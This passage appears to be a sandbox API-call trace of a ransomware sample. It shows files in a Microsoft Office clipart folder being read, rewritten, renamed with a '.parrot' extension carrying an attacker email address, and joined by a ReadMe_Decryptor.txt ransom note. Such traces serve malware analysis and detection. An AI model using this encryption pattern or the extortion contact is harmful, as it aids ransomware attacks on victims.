hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.091] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.092] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.092] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0150.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0150.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0150.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0150.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0150.093] GetLastError () returned 0x0 [0150.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0150.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0150.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0150.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0150.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0150.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0150.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3168090 [0150.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6a9250 [0150.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3168090 | out: hHeap=0x5b0000) returned 1 [0150.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2210048 [0150.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.098] WriteFile (in: hFile=0x288, lpBuffer=0x2210060*, nNumberOfBytesToWrite=0x7ed8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210060*, lpNumberOfBytesWritten=0x18eed4*=0x7ed8, lpOverlapped=0x0) returned 1 [0150.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.100] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.100] CloseHandle (hObject=0x288) returned 1 [0150.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0150.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0150.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0150.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0150.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0150.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0150.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0150.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0150.181] GetFileType (hFile=0x27c) returned 0x1 [0150.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0150.194] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c14, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.194] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.194] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.218] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6afc, lpOverlapped=0x0) returned 1 [0150.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0150.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0150.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0150.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0150.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0150.219] GetLastError () returned 0x0 [0150.220] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0150.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0150.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0150.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3168090 [0150.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6a9250 [0150.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3168090 | out: hHeap=0x5b0000) returned 1 [0150.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2210048 [0150.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.224] WriteFile (in: hFile=0x27c, lpBuffer=0x2210060*, nNumberOfBytesToWrite=0x6c18, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210060*, lpNumberOfBytesWritten=0x18eed4*=0x6c18, lpOverlapped=0x0) returned 1 [0150.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.226] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.226] CloseHandle (hObject=0x27c) returned 1 [0150.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0150.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0150.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0150.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0150.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0150.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0150.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0150.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0150.231] GetFileType (hFile=0x27c) returned 0x1 [0150.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0150.250] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.250] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.251] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.251] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0150.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0150.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0150.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0150.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0150.252] GetLastError () returned 0x0 [0150.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0150.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0150.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0150.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0150.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0150.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.256] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.256] CloseHandle (hObject=0x27c) returned 1 [0150.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.263] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.263] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.265] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.268] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.268] CloseHandle (hObject=0x27c) returned 1 [0150.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.271] HeapFree (in: hHeap=0x5b0000, 